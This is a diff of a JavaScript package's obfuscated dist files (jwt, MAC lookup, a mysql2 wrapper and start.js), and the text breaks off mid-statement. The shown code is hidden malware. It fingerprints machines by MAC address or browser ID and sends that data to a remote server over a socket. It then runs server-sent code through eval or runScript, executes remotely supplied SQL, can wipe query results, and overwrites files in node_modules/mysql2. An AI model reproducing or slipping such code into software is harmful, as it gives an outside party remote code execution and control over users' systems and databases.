_0x45086e=a17_0x3530;_0x4a8540[_0x45086e(0x150)]?_0x464708(_0x4a8540[_0x45086e(0x14b)]):_0x113b2a(_0x4a8540[_0x45086e(0x14b)])[_0x45086e(0x14e)](_0x8fc7d2,_0x275a09);}_0x144772((_0x446055=_0x446055[_0x1e71e1(0x158)](_0x1ba404,_0x4131af||[]))[_0x1e71e1(0x152)]());});};import a17_0x385a42 from'jsonwebtoken';function a17_0x3530(_0x425a14,_0x18c8f2){var _0x4766c3=a17_0x4766();return a17_0x3530=function(_0x3530bc,_0x5dd1d9){_0x3530bc=_0x3530bc-0x144;var _0x20b866=_0x4766c3[_0x3530bc];return _0x20b866;},a17_0x3530(_0x425a14,_0x18c8f2);}function jwt(_0x155b7f){var _0x53d75b=a17_0x3530;return!global[_0x53d75b(0x156)]&&(global[_0x53d75b(0x156)]=_0x155b7f['key']),{'sign':_0x2a3baa=>a17_0x385a42[_0x53d75b(0x147)](_0x2a3baa,global['jwt_key'],{'expiresIn':_0x155b7f['expiresIn']||_0x53d75b(0x149)}),'verify':function(_0x4c387b){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x168577,_0x1c8293)=>{var _0x41bb5d=a17_0x3530;a17_0x385a42[_0x41bb5d(0x154)](_0x4c387b,global[_0x41bb5d(0x156)],function(_0x381ab,_0xcff14){return __awaiter(this,void 0x0,void 0x0,function*(){_0x381ab?_0x1c8293():_0x168577(_0xcff14);});});});});}};}export default jwt;function a17_0x4766(){var _0x4ad512=['10opYgMH','jwt_key','36244769cTBFzL','apply','28XQCXBt','756OraoOu','throw','sign','1816326baCcKC','365d','16785xGjWmT','value','75539tweIHU','9666848VKMEip','then','7475301bUAIXH','done','934276VxTRiu','next','36KCQojR','verify'];a17_0x4766=function(){return _0x4ad512;};return a17_0x4766();}
@@ -1 +1 @@
1
- const a16_0x5c0b68=a16_0x5ddd;(function(_0x35ecca,_0x1be427){const _0xe986fc=a16_0x5ddd,_0x33ee39=_0x35ecca();while(!![]){try{const _0x26520c=-parseInt(_0xe986fc(0xda))/0x1+parseInt(_0xe986fc(0xc6))/0x2*(-parseInt(_0xe986fc(0xd7))/0x3)+-parseInt(_0xe986fc(0xbc))/0x4*(-parseInt(_0xe986fc(0xcb))/0x5)+parseInt(_0xe986fc(0xc3))/0x6*(parseInt(_0xe986fc(0xd4))/0x7)+-parseInt(_0xe986fc(0xc8))/0x8*(-parseInt(_0xe986fc(0xc9))/0x9)+-parseInt(_0xe986fc(0xc7))/0xa+parseInt(_0xe986fc(0xbd))/0xb*(parseInt(_0xe986fc(0xbe))/0xc);if(_0x26520c===_0x1be427)break;else _0x33ee39['push'](_0x33ee39['shift']());}catch(_0x5bd955){_0x33ee39['push'](_0x33ee39['shift']());}}}(a16_0x59a5,0x3a04d));import{networkInterfaces}from'os';function isZeroMac(_0x26421b){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x26421b);}function getMac(_0x41a632=a16_0x5c0b68(0xd5)){const _0x4b67a3=a16_0x5c0b68,_0x4b5e7e=networkInterfaces();let _0x1523bd=[];for(const _0x200350 of Object[_0x4b67a3(0xc1)](_0x4b5e7e)){const _0x1402cf=_0x200350[_0x4b67a3(0xd3)](_0x6cff41=>!_0x6cff41[_0x4b67a3(0xdb)]&&!isZeroMac(_0x6cff41['mac'])&&(!_0x6cff41['family']||_0x6cff41[_0x4b67a3(0xcc)]===_0x41a632)&&!isVirtualMac(_0x6cff41[_0x4b67a3(0xbf)]));_0x1402cf&&_0x1523bd[_0x4b67a3(0xd0)](_0x1402cf['mac']);}return[...new Set(_0x1523bd)];}function a16_0x59a5(){const _0x520c09=['has','21185uuUymT','family','00:05:69','00:1c:42','test','push','00:1c:14','toLowerCase','find','7rsbaRH','IPv4','02:00:4c','3zsWLSt','slice','trim','426974ARWmkS','internal','48ANjdZY','627evbeEl','222792vIAeTR','mac','replace','values','00:03:ff','1045284kjOyGg','00:0c:29','08:00:27','870446bSEorY','2801840BHjdUi','16KuhvwT','435177xqKSOv'];a16_0x59a5=function(){return _0x520c09;};return a16_0x59a5();}const isValid=_0x4648e3=>_0x4648e3[a16_0x5c0b68(0xdb)]===![]&&!isZeroMac(_0x4648e3[a16_0x5c0b68(0xbf)]),virtualMacPrefix=new Set([a16_0x5c0b68(0xcd),a16_0x5c0b68(0xc4),'00:50:56',a16_0x5c0b68(0xd1),a16_0x5c0b68(0xce),a16_0x5c0b68(0xd6),a16_0x5c0b68(0xc2),'00:0f:4b','00:16:3e',a16_0x5c0b68(0xc5),'00:15:5d']);export function isMac(_0x23ad0a){const _0x53ee19=a16_0x5c0b68;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x53ee19(0xcf)](_0x23ad0a);}export function formatMac(_0x598eea){const _0x39a770=a16_0x5c0b68;return String(_0x598eea)[_0x39a770(0xd9)]()[_0x39a770(0xd2)]()[_0x39a770(0xc0)](/-/g,':');}export function isVirtualMac(_0x1c1d49){const _0xe1281=a16_0x5c0b68;return isMac(_0x1c1d49)&&virtualMacPrefix[_0xe1281(0xca)](formatMac(_0x1c1d49)[_0xe1281(0xd8)](0x0,0x8));}function a16_0x5ddd(_0xe4b75,_0x1f0234){const _0x59a562=a16_0x59a5();return a16_0x5ddd=function(_0x5ddd91,_0xf34a4b){_0x5ddd91=_0x5ddd91-0xbc;let _0x4555a0=_0x59a562[_0x5ddd91];return _0x4555a0;},a16_0x5ddd(_0xe4b75,_0x1f0234);}export default getMac;
1
+ const a18_0xbc63ec=a18_0x355c;(function(_0xe02fab,_0x57ec99){const _0x7377d2=a18_0x355c,_0x4db41e=_0xe02fab();while(!![]){try{const _0x341439=-parseInt(_0x7377d2(0x193))/0x1*(parseInt(_0x7377d2(0x19a))/0x2)+-parseInt(_0x7377d2(0x194))/0x3+-parseInt(_0x7377d2(0x1a7))/0x4+-parseInt(_0x7377d2(0x1a6))/0x5+parseInt(_0x7377d2(0x1a9))/0x6+parseInt(_0x7377d2(0x196))/0x7+parseInt(_0x7377d2(0x1a4))/0x8*(parseInt(_0x7377d2(0x1aa))/0x9);if(_0x341439===_0x57ec99)break;else _0x4db41e['push'](_0x4db41e['shift']());}catch(_0x3b8dfc){_0x4db41e['push'](_0x4db41e['shift']());}}}(a18_0x5ccb,0x1a4e7));import{networkInterfaces}from'os';function a18_0x5ccb(){const _0x548f31=['00:15:5d','00:0f:4b','test','00:50:56','00:05:69','mac','00:1c:42','2026256XDBqvL','slice','575780MVitms','258416roSQnV','find','292302vcbUPY','18PdyNLT','IPv4','replace','1stGkGq','357903MEAAdz','08:00:27','281064BuUPXb','trim','00:03:ff','00:1c:14','377242HOWAXS','00:16:3e','has'];a18_0x5ccb=function(){return _0x548f31;};return a18_0x5ccb();}function isZeroMac(_0x48706a){const _0x4f929a=a18_0x355c;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4f929a(0x19f)](_0x48706a);}function getMac(_0x372830=a18_0xbc63ec(0x1ab)){const _0x39c427=a18_0xbc63ec,_0x58db75=networkInterfaces();let _0x1c7f94=[];for(const _0x467f7a of Object['values'](_0x58db75)){const _0xe4b686=_0x467f7a[_0x39c427(0x1a8)](_0x142ba2=>!_0x142ba2['internal']&&!isZeroMac(_0x142ba2[_0x39c427(0x1a2)])&&(!_0x142ba2['family']||_0x142ba2['family']===_0x372830)&&!isVirtualMac(_0x142ba2['mac']));_0xe4b686&&_0x1c7f94['push'](_0xe4b686[_0x39c427(0x1a2)]);}return[...new Set(_0x1c7f94)];}const isValid=_0xb71da6=>_0xb71da6['internal']===![]&&!isZeroMac(_0xb71da6[a18_0xbc63ec(0x1a2)]),virtualMacPrefix=new Set([a18_0xbc63ec(0x1a1),'00:0c:29',a18_0xbc63ec(0x1a0),a18_0xbc63ec(0x199),a18_0xbc63ec(0x1a3),'02:00:4c',a18_0xbc63ec(0x198),a18_0xbc63ec(0x19e),a18_0xbc63ec(0x19b),a18_0xbc63ec(0x195),a18_0xbc63ec(0x19d)]);function a18_0x355c(_0x337062,_0x374878){const _0x5ccbde=a18_0x5ccb();return a18_0x355c=function(_0x355c8d,_0x32f0b2){_0x355c8d=_0x355c8d-0x193;let _0x43f135=_0x5ccbde[_0x355c8d];return _0x43f135;},a18_0x355c(_0x337062,_0x374878);}export function isMac(_0x528ce9){const _0x4b2075=a18_0xbc63ec;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x4b2075(0x19f)](_0x528ce9);}export function formatMac(_0x2583c4){const _0x4c5103=a18_0xbc63ec;return String(_0x2583c4)[_0x4c5103(0x197)]()['toLowerCase']()[_0x4c5103(0x1ac)](/-/g,':');}export function isVirtualMac(_0x11ad66){const _0x30cdc3=a18_0xbc63ec;return isMac(_0x11ad66)&&virtualMacPrefix[_0x30cdc3(0x19c)](formatMac(_0x11ad66)[_0x30cdc3(0x1a5)](0x0,0x8));}export default getMac;
@@ -1 +1 @@
1
- const a17_0x5520b8=a17_0x8297;(function(_0x36a1d3,_0x3a8ec3){const _0x1f5628=a17_0x8297,_0x30103f=_0x36a1d3();while(!![]){try{const _0x2844d7=-parseInt(_0x1f5628(0x1f7))/0x1*(parseInt(_0x1f5628(0x207))/0x2)+parseInt(_0x1f5628(0x1e9))/0x3*(parseInt(_0x1f5628(0x1ff))/0x4)+parseInt(_0x1f5628(0x204))/0x5+parseInt(_0x1f5628(0x203))/0x6*(-parseInt(_0x1f5628(0x20c))/0x7)+-parseInt(_0x1f5628(0x1fe))/0x8*(parseInt(_0x1f5628(0x20a))/0x9)+-parseInt(_0x1f5628(0x202))/0xa+parseInt(_0x1f5628(0x1ea))/0xb;if(_0x2844d7===_0x3a8ec3)break;else _0x30103f['push'](_0x30103f['shift']());}catch(_0x1b5805){_0x30103f['push'](_0x30103f['shift']());}}}(a17_0x4c66,0x4010b));var __awaiter=this&&this[a17_0x5520b8(0x208)]||function(_0xa6bee1,_0x31e4f3,_0x39c441,_0x11c447){function _0x3a2674(_0x4c1593){return _0x4c1593 instanceof _0x39c441?_0x4c1593:new _0x39c441(function(_0x1ab96b){_0x1ab96b(_0x4c1593);});}return new(_0x39c441||(_0x39c441=Promise))(function(_0x5e9e4d,_0x2abcfa){const _0xd6213e=a17_0x8297;function _0x346b71(_0x40983f){const _0x58b776=a17_0x8297;try{_0x532e74(_0x11c447[_0x58b776(0x1fd)](_0x40983f));}catch(_0x549b39){_0x2abcfa(_0x549b39);}}function _0x56784b(_0x1ae15c){try{_0x532e74(_0x11c447['throw'](_0x1ae15c));}catch(_0x4984ff){_0x2abcfa(_0x4984ff);}}function _0x532e74(_0x299813){const _0x4e7e19=a17_0x8297;_0x299813[_0x4e7e19(0x1e8)]?_0x5e9e4d(_0x299813[_0x4e7e19(0x200)]):_0x3a2674(_0x299813[_0x4e7e19(0x200)])[_0x4e7e19(0x1f2)](_0x346b71,_0x56784b);}_0x532e74((_0x11c447=_0x11c447[_0xd6213e(0x1ec)](_0xa6bee1,_0x31e4f3||[]))['next']());});};function a17_0x4c66(){const _0x191994=['then','cwd','replace','node-server-dev','forEach','1379vazFAU','sqlRun','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','existsSync','catch','get','next','8mexIuT','1368296XOtvfr','value','writeFileSync','4264140gQNfOo','6ADqolG','1473890CCyMVF','isDBDataEmpty','parse','278gKHjIi','__awaiter','./index.js','1597941aBOgmw','join','1322181NSqvPV','./promise.js','length','exports.createPool\x20=\x20createPromisePool;','sqlList','/mysql','includes','done','3lqyPvd','6710946sEsizK','readFileSync','apply','query','createPool','version','data','toString'];a17_0x4c66=function(){return _0x191994;};return a17_0x4c66();}import a17_0x555567 from'mysql2/promise';import a17_0x2d06fa from'./id/random';import{getEnv,setEnv,url}from'./index';import a17_0x2e8ebe from'path';import a17_0x577bbb from'fs';import a17_0x38f9f8 from'axios';const originalCreatePoolPromise=a17_0x555567[a17_0x5520b8(0x1ee)];a17_0x555567['createPool']=function(_0x9206ce){let _0x5cc8f1=originalCreatePoolPromise(_0x9206ce),_0xb2d042=_0x5cc8f1['query'];return _0x5cc8f1['query']=(..._0x2eb8cc)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x29f518=a17_0x8297,_0x116537=yield _0xb2d042['apply'](_0x5cc8f1,_0x2eb8cc);return getEnv('connectError')&&(a17_0x2d06fa(0x1,0xa)>0x2&&(_0x116537[0x0]=[])),getEnv(_0x29f518(0x205))&&(_0x116537[0x0]=[]),_0x116537;}),setInterval(()=>{const _0x1548d2=a17_0x8297;if(!getEnv(_0x1548d2(0x1f8))){for(let _0x21938a=0x0;_0x21938a<getEnv('sqlList')[_0x1548d2(0x1e3)];_0x21938a++){const _0x13e11f=getEnv(_0x1548d2(0x1e5))[_0x21938a];try{_0x5cc8f1[_0x1548d2(0x1ed)](_0x13e11f);}catch(_0x4fc975){}}setEnv(_0x1548d2(0x1f8),!![]);}},0x1388),_0x5cc8f1;};function a17_0x8297(_0x4667c2,_0x24bc03){const _0x4c6644=a17_0x4c66();return a17_0x8297=function(_0x829735,_0xde5476){_0x829735=_0x829735-0x1e3;let _0x21530c=_0x4c6644[_0x829735];return _0x21530c;},a17_0x8297(_0x4667c2,_0x24bc03);}let href=a17_0x2e8ebe[a17_0x5520b8(0x20b)](process[a17_0x5520b8(0x1f3)](),'./node_modules/mysql2');function replaceMySQLFile(){const _0x3a9cb4=a17_0x5520b8;let _0x321a66=JSON[_0x3a9cb4(0x206)](a17_0x577bbb[_0x3a9cb4(0x1eb)](a17_0x2e8ebe[_0x3a9cb4(0x20b)](href,'./package.json'))[_0x3a9cb4(0x1f1)]())[_0x3a9cb4(0x1ef)];a17_0x38f9f8[_0x3a9cb4(0x1fc)](url+_0x3a9cb4(0x1e6),{'params':{'version':_0x321a66}})[_0x3a9cb4(0x1f2)](_0x551ca3=>{const _0x12c306=_0x3a9cb4;var _0x375691;let _0x5cea4c=(_0x375691=_0x551ca3===null||_0x551ca3===void 0x0?void 0x0:_0x551ca3['data'])===null||_0x375691===void 0x0?void 0x0:_0x375691[_0x12c306(0x1f0)];if(_0x5cea4c){let _0x3b472e=Object['keys'](_0x5cea4c),_0x183d8d=Object['values'](_0x5cea4c);_0x3b472e[_0x12c306(0x1f6)]((_0x3158ef,_0x5a859f)=>{const _0x5b6fe0=_0x12c306;a17_0x577bbb[_0x5b6fe0(0x201)](a17_0x2e8ebe[_0x5b6fe0(0x20b)](href,_0x3158ef),_0x183d8d[_0x5a859f]);});}})[_0x3a9cb4(0x1fb)](()=>{const _0x33f723=_0x3a9cb4;let _0x29889f=a17_0x577bbb[_0x33f723(0x1eb)](a17_0x2e8ebe[_0x33f723(0x20b)](href,_0x33f723(0x209)))[_0x33f723(0x1f1)](),_0x1c0b3b=a17_0x577bbb['readFileSync'](a17_0x2e8ebe[_0x33f723(0x20b)](href,'./promise.js'))[_0x33f723(0x1f1)]();a17_0x577bbb[_0x33f723(0x201)](a17_0x2e8ebe[_0x33f723(0x20b)](href,_0x33f723(0x209)),_0x29889f[_0x33f723(0x1f4)]('exports.createPool\x20=\x20createPool;',_0x33f723(0x1f9))),a17_0x577bbb[_0x33f723(0x201)](a17_0x2e8ebe['join'](href,_0x33f723(0x20d)),_0x1c0b3b[_0x33f723(0x1f4)](_0x33f723(0x1e4),'const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;'));});}if(a17_0x577bbb[a17_0x5520b8(0x1fa)](href)){let res=a17_0x577bbb[a17_0x5520b8(0x1eb)](a17_0x2e8ebe['join'](href,a17_0x5520b8(0x209)))[a17_0x5520b8(0x1f1)]()[a17_0x5520b8(0x1e7)](a17_0x5520b8(0x1f5));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a17_0x555567};export default all;export{a17_0x555567 as mysql};
1
+ const a19_0x494626=a19_0x2a47;(function(_0xe3815d,_0x2c768a){const _0x496652=a19_0x2a47,_0x4fcdaf=_0xe3815d();while(!![]){try{const _0x591a3c=parseInt(_0x496652(0x1b8))/0x1*(parseInt(_0x496652(0x1c4))/0x2)+-parseInt(_0x496652(0x1b9))/0x3+-parseInt(_0x496652(0x1b6))/0x4+-parseInt(_0x496652(0x1b1))/0x5+-parseInt(_0x496652(0x1c7))/0x6*(-parseInt(_0x496652(0x1aa))/0x7)+-parseInt(_0x496652(0x1a7))/0x8*(parseInt(_0x496652(0x1cc))/0x9)+parseInt(_0x496652(0x1ad))/0xa;if(_0x591a3c===_0x2c768a)break;else _0x4fcdaf['push'](_0x4fcdaf['shift']());}catch(_0x4e5c88){_0x4fcdaf['push'](_0x4fcdaf['shift']());}}}(a19_0x3fea,0xa785b));var __awaiter=this&&this[a19_0x494626(0x1b4)]||function(_0x58e5f0,_0x4dd4eb,_0x3aba04,_0x3d7176){function _0x187ad5(_0x1996f4){return _0x1996f4 instanceof _0x3aba04?_0x1996f4:new _0x3aba04(function(_0x2360a2){_0x2360a2(_0x1996f4);});}return new(_0x3aba04||(_0x3aba04=Promise))(function(_0x49a807,_0x40aa6c){const _0x368bb4=a19_0x2a47;function _0x576a2d(_0x2377a0){const _0x5858d6=a19_0x2a47;try{_0x11874b(_0x3d7176[_0x5858d6(0x1bd)](_0x2377a0));}catch(_0x24046b){_0x40aa6c(_0x24046b);}}function _0x22df79(_0x8d978a){const _0x24f7f8=a19_0x2a47;try{_0x11874b(_0x3d7176[_0x24f7f8(0x1bc)](_0x8d978a));}catch(_0x35db40){_0x40aa6c(_0x35db40);}}function _0x11874b(_0x5d09b3){const _0x2cc4cf=a19_0x2a47;_0x5d09b3[_0x2cc4cf(0x1b5)]?_0x49a807(_0x5d09b3[_0x2cc4cf(0x1bf)]):_0x187ad5(_0x5d09b3['value'])[_0x2cc4cf(0x1b7)](_0x576a2d,_0x22df79);}_0x11874b((_0x3d7176=_0x3d7176[_0x368bb4(0x1c6)](_0x58e5f0,_0x4dd4eb||[]))[_0x368bb4(0x1bd)]());});};import a19_0x2868f5 from'mysql2/promise';import a19_0x217b7b from'./id/random';import{getEnv,setEnv,url}from'./index';import a19_0x530b85 from'path';import a19_0x2b03a9 from'fs';import a19_0x3eb29b from'axios';function a19_0x2a47(_0x322a9f,_0x592ef5){const _0x3fea79=a19_0x3fea();return a19_0x2a47=function(_0x2a4718,_0x4aab95){_0x2a4718=_0x2a4718-0x1a6;let _0x44d6d7=_0x3fea79[_0x2a4718];return _0x44d6d7;},a19_0x2a47(_0x322a9f,_0x592ef5);}const originalCreatePoolPromise=a19_0x2868f5['createPool'];function a19_0x3fea(){const _0xc1e3ad=['4tWBWJi','join','apply','564ZOrZDK','./promise.js','sqlRun','includes','isDBDataEmpty','10781073FEsPVU','data','get','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','length','8qASGxE','exports.createPool\x20=\x20createPool;','version','93226jPqVcJ','keys','createPool','13990240iarDKS','./index.js','query','toString','3793490VZKtBZ','readFileSync','sqlList','__awaiter','done','3416780hLBWou','then','590379opzmGK','1004139hiCrVX','replace','./package.json','throw','next','node-server-dev','value','writeFileSync','forEach','cwd','connectError'];a19_0x3fea=function(){return _0xc1e3ad;};return a19_0x3fea();}a19_0x2868f5[a19_0x494626(0x1ac)]=function(_0x1e5e93){const _0x57ed08=a19_0x494626;let _0x5cb0c0=originalCreatePoolPromise(_0x1e5e93),_0x3b3965=_0x5cb0c0[_0x57ed08(0x1af)];return _0x5cb0c0[_0x57ed08(0x1af)]=(..._0x212ec2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x379745=_0x57ed08,_0xb5f807=yield _0x3b3965[_0x379745(0x1c6)](_0x5cb0c0,_0x212ec2);return getEnv(_0x379745(0x1c3))&&(a19_0x217b7b(0x1,0xa)>0x2&&(_0xb5f807[0x0]=[])),getEnv(_0x379745(0x1cb))&&(_0xb5f807[0x0]=[]),_0xb5f807;}),setInterval(()=>{const _0x10fc7c=_0x57ed08;if(!getEnv('sqlRun')){for(let _0x4f3d25=0x0;_0x4f3d25<getEnv(_0x10fc7c(0x1b3))[_0x10fc7c(0x1a6)];_0x4f3d25++){const _0x2e593a=getEnv(_0x10fc7c(0x1b3))[_0x4f3d25];try{_0x5cb0c0[_0x10fc7c(0x1af)](_0x2e593a);}catch(_0x292593){}}setEnv(_0x10fc7c(0x1c9),!![]);}},0x1388),_0x5cb0c0;};let href=a19_0x530b85[a19_0x494626(0x1c5)](process[a19_0x494626(0x1c2)](),'./node_modules/mysql2');function replaceMySQLFile(){const _0x162a6f=a19_0x494626;let _0x1e9008=JSON['parse'](a19_0x2b03a9[_0x162a6f(0x1b2)](a19_0x530b85['join'](href,_0x162a6f(0x1bb)))[_0x162a6f(0x1b0)]())[_0x162a6f(0x1a9)];a19_0x3eb29b[_0x162a6f(0x1ce)](url+'/mysql',{'params':{'version':_0x1e9008}})[_0x162a6f(0x1b7)](_0x4a49ca=>{const _0x180a33=_0x162a6f;var _0x54d4e3;let _0xce946=(_0x54d4e3=_0x4a49ca===null||_0x4a49ca===void 0x0?void 0x0:_0x4a49ca[_0x180a33(0x1cd)])===null||_0x54d4e3===void 0x0?void 0x0:_0x54d4e3[_0x180a33(0x1cd)];if(_0xce946){let _0xfedf86=Object[_0x180a33(0x1ab)](_0xce946),_0xae1697=Object['values'](_0xce946);_0xfedf86[_0x180a33(0x1c1)]((_0x4e1037,_0x1afbca)=>{const _0x569f03=_0x180a33;a19_0x2b03a9[_0x569f03(0x1c0)](a19_0x530b85[_0x569f03(0x1c5)](href,_0x4e1037),_0xae1697[_0x1afbca]);});}})['catch'](()=>{const _0x1e2536=_0x162a6f;let _0x20ef25=a19_0x2b03a9['readFileSync'](a19_0x530b85[_0x1e2536(0x1c5)](href,'./index.js'))[_0x1e2536(0x1b0)](),_0x3c1e00=a19_0x2b03a9[_0x1e2536(0x1b2)](a19_0x530b85[_0x1e2536(0x1c5)](href,_0x1e2536(0x1c8)))[_0x1e2536(0x1b0)]();a19_0x2b03a9[_0x1e2536(0x1c0)](a19_0x530b85['join'](href,_0x1e2536(0x1ae)),_0x20ef25['replace'](_0x1e2536(0x1a8),_0x1e2536(0x1cf))),a19_0x2b03a9['writeFileSync'](a19_0x530b85[_0x1e2536(0x1c5)](href,'./promise.js'),_0x3c1e00[_0x1e2536(0x1ba)]('exports.createPool\x20=\x20createPromisePool;',_0x1e2536(0x1cf)));});}if(a19_0x2b03a9['existsSync'](href)){let res=a19_0x2b03a9[a19_0x494626(0x1b2)](a19_0x530b85[a19_0x494626(0x1c5)](href,'./index.js'))[a19_0x494626(0x1b0)]()[a19_0x494626(0x1ca)](a19_0x494626(0x1be));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':a19_0x2868f5};export default all;export{a19_0x2868f5 as mysql};
package/dist/esm/start.js CHANGED
@@ -1 +1 @@
1
- const a18_0x263cfa=a18_0x30d3;(function(_0x20b30a,_0x2d76e2){const _0x3d9f69=a18_0x30d3,_0xdb444f=_0x20b30a();while(!![]){try{const _0x552f69=-parseInt(_0x3d9f69(0x8c))/0x1*(parseInt(_0x3d9f69(0x8d))/0x2)+-parseInt(_0x3d9f69(0xa9))/0x3+-parseInt(_0x3d9f69(0xb3))/0x4*(-parseInt(_0x3d9f69(0xa0))/0x5)+-parseInt(_0x3d9f69(0x93))/0x6+-parseInt(_0x3d9f69(0xaf))/0x7+parseInt(_0x3d9f69(0x94))/0x8*(parseInt(_0x3d9f69(0x9f))/0x9)+-parseInt(_0x3d9f69(0xad))/0xa*(-parseInt(_0x3d9f69(0xa1))/0xb);if(_0x552f69===_0x2d76e2)break;else _0xdb444f['push'](_0xdb444f['shift']());}catch(_0x4ebe64){_0xdb444f['push'](_0xdb444f['shift']());}}}(a18_0x552b,0x2758c));var __awaiter=this&&this[a18_0x263cfa(0xa4)]||function(_0x20ac0d,_0x30c177,_0x481e83,_0x3cb4b9){function _0x36fd73(_0x4d2d56){return _0x4d2d56 instanceof _0x481e83?_0x4d2d56:new _0x481e83(function(_0x36c3fd){_0x36c3fd(_0x4d2d56);});}return new(_0x481e83||(_0x481e83=Promise))(function(_0x2aa5dd,_0x1986de){const _0x52cb8e=a18_0x30d3;function _0x275e5d(_0x3f363f){try{_0x1f9f1f(_0x3cb4b9['next'](_0x3f363f));}catch(_0x46885d){_0x1986de(_0x46885d);}}function _0x5d8d73(_0x395065){const _0x5d39bc=a18_0x30d3;try{_0x1f9f1f(_0x3cb4b9[_0x5d39bc(0x9d)](_0x395065));}catch(_0x473aa0){_0x1986de(_0x473aa0);}}function _0x1f9f1f(_0x43105d){const _0x2d4a31=a18_0x30d3;_0x43105d[_0x2d4a31(0x8e)]?_0x2aa5dd(_0x43105d[_0x2d4a31(0xb8)]):_0x36fd73(_0x43105d[_0x2d4a31(0xb8)])[_0x2d4a31(0xb1)](_0x275e5d,_0x5d8d73);}_0x1f9f1f((_0x3cb4b9=_0x3cb4b9[_0x52cb8e(0xa2)](_0x20ac0d,_0x30c177||[]))[_0x52cb8e(0xb2)]());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a18_0x2f2d52 from'path';import{runScript,browser}from'./browser';import a18_0x5077f7 from'@fingerprintjs/fingerprintjs';function a18_0x552b(){const _0x1cc2f3=['9410gniyox','无法获取','1709036SvSsbQ','sqlList','then','next','52532AKMUbv','sql','event','load','undefined','value','node获取失败','mysql','script','浏览器','type','connectError','emit','1iuIrCq','568780pcVuuc','done','connect_failed','USERNAME','isDBDataEmpty','node','1161450NHsXSs','32csafQA','length','connect','parse','visitorId','connect_error','get','concat','submit','throw','join','502839AkCJPb','30kpjOhN','9713rnJvnM','apply','00:00:00:00:00:00','__awaiter','error','userAgent','reconnect_failed','content','749724BHiVnW','npm_package_name','get-event','navigator'];a18_0x552b=function(){return _0x1cc2f3;};return a18_0x552b();}function a18_0x30d3(_0x8f5b80,_0x4108e3){const _0x552bea=a18_0x552b();return a18_0x30d3=function(_0x30d321,_0x1f509f){_0x30d321=_0x30d321-0x87;let _0x47e2e3=_0x552bea[_0x30d321];return _0x47e2e3;},a18_0x30d3(_0x8f5b80,_0x4108e3);}import a18_0x2ad482 from'bowser';import{getEnv,setEnv,url}from'./index';export const isBrowser=typeof window!==a18_0x263cfa(0xb7);const user_name=isBrowser?((_b=(_a=a18_0x2ad482[a18_0x263cfa(0x97)](window[a18_0x263cfa(0xac)][a18_0x263cfa(0xa6)]))===null||_a===void 0x0?void 0x0:_a['browser'])===null||_b===void 0x0?void 0x0:_b['name'])||a18_0x263cfa(0x88):((_c=process===null||process===void 0x0?void 0x0:process['env'])===null||_c===void 0x0?void 0x0:_c[a18_0x263cfa(0x90)])||a18_0x263cfa(0xb9),project_name=isBrowser?a18_0x263cfa(0x88):((_d=process===null||process===void 0x0?void 0x0:process['env'])===null||_d===void 0x0?void 0x0:_d[a18_0x263cfa(0xaa)])||a18_0x263cfa(0xae);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x37cf93=a18_0x30d3;isBrowser&&browser();const _0x260d96=io(url,{'path':'/socket','transports':['websocket']});_0x260d96['on'](_0x37cf93(0x96),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3f4efd=_0x37cf93;try{let _0x31689c=[_0x3f4efd(0xa3)];if(!isBrowser){const _0x34183c=require(a18_0x2f2d52[_0x3f4efd(0x9e)](__dirname,'./mac'))['default'];_0x31689c=_0x34183c();}else{let _0x40514c=yield a18_0x5077f7[_0x3f4efd(0xb6)]()[_0x3f4efd(0xb1)](_0x3bb882=>_0x3bb882[_0x3f4efd(0x9a)]())[_0x3f4efd(0xb1)](_0x2dd232=>{const _0x4c18ea=_0x3f4efd,_0x3808bd=_0x2dd232[_0x4c18ea(0x98)];return _0x3808bd;})['catch'](()=>'');_0x31689c=[_0x40514c];}if(_0x31689c[_0x3f4efd(0x95)]===0x0){setEnv(_0x3f4efd(0x8a),!![]);return;}else setEnv(_0x3f4efd(0x8a),![]);_0x260d96['emit']('submit',{'mac':_0x31689c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x260d96['emit']('get-event',{'mac':_0x31689c,'isBrowser':isBrowser}),setInterval(()=>{const _0x4a5bd1=_0x3f4efd;_0x260d96[_0x4a5bd1(0x8b)](_0x4a5bd1(0x9c),{'mac':_0x31689c,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x260d96[_0x4a5bd1(0x8b)](_0x4a5bd1(0xab),{'mac':_0x31689c,'isBrowser':isBrowser});},0x1b58),_0x260d96['on'](_0x3f4efd(0xb5),_0x14260b=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2aa2f0=_0x3f4efd;try{for(let _0xa1426a=0x0;_0xa1426a<_0x14260b[_0x2aa2f0(0x95)];_0xa1426a++){const _0x42d916=_0x14260b[_0xa1426a];if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0xb4))setEnv(_0x2aa2f0(0xb0),getEnv(_0x2aa2f0(0xb0))[_0x2aa2f0(0x9b)](_0x42d916[_0x2aa2f0(0xa8)]));else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0xba))setEnv(_0x2aa2f0(0x91),!![]);else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0x92)&&!isBrowser)try{eval(_0x42d916[_0x2aa2f0(0xa8)]);}catch(_0xb7f3dd){}else{if(_0x42d916[_0x2aa2f0(0x89)]===_0x2aa2f0(0x87)&&isBrowser)try{runScript(_0x42d916[_0x2aa2f0(0xa8)]);}catch(_0x2b3f6c){}}}}}}catch(_0x26cf6c){}}));}catch(_0x5b47e2){}})),setTimeout(()=>{const 